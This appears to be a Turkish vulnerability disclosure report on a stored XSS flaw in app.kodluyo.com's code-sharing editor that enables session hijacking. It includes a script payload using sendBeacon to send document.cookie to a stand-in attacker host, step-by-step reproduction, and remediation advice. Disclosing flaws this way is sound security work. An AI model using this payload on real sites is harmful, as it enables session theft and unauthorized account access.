Stored XSS ile PHP Session ID Ele Geçirilmesi ve Hesap Yetkisiz Erişimi (Session Hijacking)

Raporlayan

Umut Sevinç
Vulnerability Researcher

---

1. Zafiyet Özeti (Executive Summary)

app.kodluyo.com platformunda kullanıcıların kendi HTML, CSS ve JavaScript kodlarını yazabildiği ve bu kodların paylaşılabilir linklere dönüştürüldüğü bir sistem bulunmaktadır.

Yapılan güvenlik testleri sırasında, kullanıcı tarafından oluşturulan JavaScript kodlarının herhangi bir güvenlik izolasyonu (sandbox, CSP, origin isolation vb.) olmadan çalıştırıldığı ve platforma giriş yapmış kullanıcıların **session cookie değerine erişilebildiği** tespit edilmiştir.

Saldırgan, zararlı JavaScript içeren bir kod oluşturarak bunu link haline getirebilmekte ve **app.kodluyo.com hesabı olan ve sisteme giriş yapmış bir kullanıcıya** gönderdiğinde, kullanıcı linki açtığında session cookie saldırganın sunucusuna gönderilmektedir.

Ele geçirilen **PHPSESSID** değeri kullanılarak hedef kullanıcının oturumu ele geçirilebilmekte ve kullanıcının yazdığı kodlara erişilip değiştirilebilmektedir.

Bu zafiyet aşağıdaki saldırı zincirine yol açmaktadır:

Stored XSS → Session Cookie Exfiltration → Session Hijacking → Unauthorized Account Access

Zafiyet yalnızca **app.kodluyo.com hesabı olan ve oturum açmış kullanıcıları** etkilemektedir.

---

2. Etkilenen Sistem

Ana Domain

`https://app.kodluyo.com`

Etkilenen Modül

`User Code Editor / Code Sharing System`

Etkilenen Kullanıcılar

- app.kodluyo.com hesabı olan kullanıcılar
- platforma giriş yapmış kullanıcılar
- zararlı linki açan kullanıcılar

Etkilenmeyen Kullanıcılar

- platforma giriş yapmamış kullanıcılar
- oturumu olmayan ziyaretçiler

---

3. Zafiyet Türü

- Stored Cross Site Scripting (Stored XSS)
- Session Cookie Exposure
- Session Hijacking
- Improper User Generated Content Isolation
- Account Unauthorized Access

---

4. Teknik Açıklama

Platform, kullanıcıların kendi HTML ve JavaScript kodlarını yazmasına ve bu kodları paylaşılabilir linklere dönüştürmesine izin vermektedir.

Bu linkler açıldığında:

- kullanıcı tarafından yazılan JavaScript otomatik çalışmaktadır
- kod platformun kendi domaini altında çalışmaktadır
- kullanıcı giriş yapmışsa session aktif olmaktadır
- document.cookie erişilebilir olmaktadır
- PHP session cookie dış sunucuya gönderilebilmektedir

Temel güvenlik problemi:

User generated JavaScript doğrudan app.kodluyo.com origin altında çalışmaktadır

Bu nedenle:

`document.cookie`
ile session bilgisi alınabilmektedir.

Ek olarak:

- HttpOnly cookie eksik
- CSP eksik
- Sandbox izolasyonu yok
- Origin isolation yok

Bu durum Stored XSS üzerinden session hijacking yapılmasına neden olmaktadır.

---

5. Proof of Concept (PoC)

Kod editörüne aşağıdaki JavaScript eklenmiştir:

```
<script>
navigator.sendBeacon(
"https://attacker-site.com/log.php",
document.cookie
);
</script>
```
Kod linke dönüştürülmüştür.

Link platforma giriş yapmış bir kullanıcıya gönderilmiştir.

Kullanıcı linki açtığında:

- JavaScript çalışmıştır
- document.cookie attacker sunucuya gönderilmiştir
- PHPSESSID log dosyasına düşmüştür

Örnek log:

```
PHPSESSID=abc123xyz456
```

---

6. Zafiyetin Adım Adım Tekrar Edilmesi

Adım 1

app.kodluyo.com hesabı oluşturulur veya giriş yapılır.

Adım 2

Kod yazma alanına gidilir.

Adım 3

Zararlı JavaScript eklenir.

Adım 4

Kod paylaşılabilir linke dönüştürülür.

Adım 5

Link platform kullanıcısına gönderilir.

Adım 6

Kullanıcı giriş yapmış halde linki açar.

Adım 7

JavaScript çalışır.

Adım 8

document.cookie attacker sunucuya gönderilir.

Adım 9

PHPSESSID ele geçirilir.

Adım 10

Attacker kendi PHPSESSID değerini değiştirir.

Adım 11

Hedef kullanıcının oturumu ele geçirilir.

Adım 12

Kullanıcı kodları görüntülenir ve değiştirilebilir.

---

7. Attack Flow

```
Attacker creates malicious code
↓
Platform generates shareable link
↓
Victim (logged-in user) opens link
↓
JavaScript executes
↓
document.cookie exfiltrated
↓
PHPSESSID captured
↓
Session reused
↓
Victim account accessed
↓
User content modified
```

---

8. Etki Analizi

Oturum Ele Geçirme

PHPSESSID ele geçirildiği için kullanıcı oturumu tamamen saldırgana geçebilir.

Kullanıcı Hesaplarına Yetkisiz Erişim

Session reuse ile hesap erişimi sağlanabilir.

Kullanıcı Kodlarının Değiştirilmesi

Saldırgan kullanıcı içeriklerini değiştirebilir.

Veri Manipülasyonu

Platform içeriği değiştirilebilir.

Güvenlik İhlali

User generated content üzerinden saldırı yapılabilir.

---

9. Risk Seviyesi

High / Critical

Sebep:

- Stored XSS
- Session Hijacking
- Hesap erişimi
- Veri manipülasyonu
- Same origin execution
- Cookie exposure

---

10. CVSS 3.1

```
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Score: 9.0
```

---

11. Güvenlik Sorununun Kaynağı

User Generated Code Isolation Eksik

Kullanıcı kodları güvenli ortamda çalıştırılmıyor.

HttpOnly Cookie Eksik

Session cookie okunabiliyor.

CSP Eksik

JavaScript dış sunucuya veri gönderebiliyor.

Sandbox Eksik

Iframe izolasyonu bulunmuyor.

Origin Isolation Eksik

User code aynı domain altında çalışıyor.

---

12. Çözüm Önerileri

1. HttpOnly Cookie

```
Set-Cookie: PHPSESSID=xxx; HttpOnly; Secure; SameSite=Strict
```

---

2. Sandbox Kullanımı

```
<iframe sandbox="allow-scripts">
```

---

3. CSP Eklenmesi

```
Content-Security-Policy:
default-src 'self';
script-src 'self';
connect-src 'self';
frame-src 'self';
```

---

4. Ayrı Domain Kullanımı

```
user-content.kodluyo.com
```

---

5. Cookie Erişiminin Engellenmesi

document.cookie erişimi kaldırılmalıdır.

---

13. Zafiyetin Önceliği

Yüksek öncelikle düzeltilmelidir

Sebep:

- Hesap ele geçirme riski
- Stored XSS
- Session Hijacking
- Kullanıcı verisi riski
- Platform güvenliği etkileniyor

---

14. Sonuç

app.kodluyo.com platformunda bulunan bu zafiyet, kullanıcı tarafından oluşturulan JavaScript kodlarının güvenli izolasyon olmadan çalıştırılması nedeniyle **PHP session ID ele geçirilmesine ve kullanıcı oturumunun saldırgan tarafından kullanılmasına** neden olmaktadır.

Zafiyet yalnızca **platforma giriş yapmış kullanıcıları** etkilemektedir ve **Stored XSS kaynaklı Session Hijacking** olarak değerlendirilmelidir.

Bu nedenle güvenlik önlemlerinin uygulanması ve zafiyetin hızlı şekilde kapatılması önerilmektedir.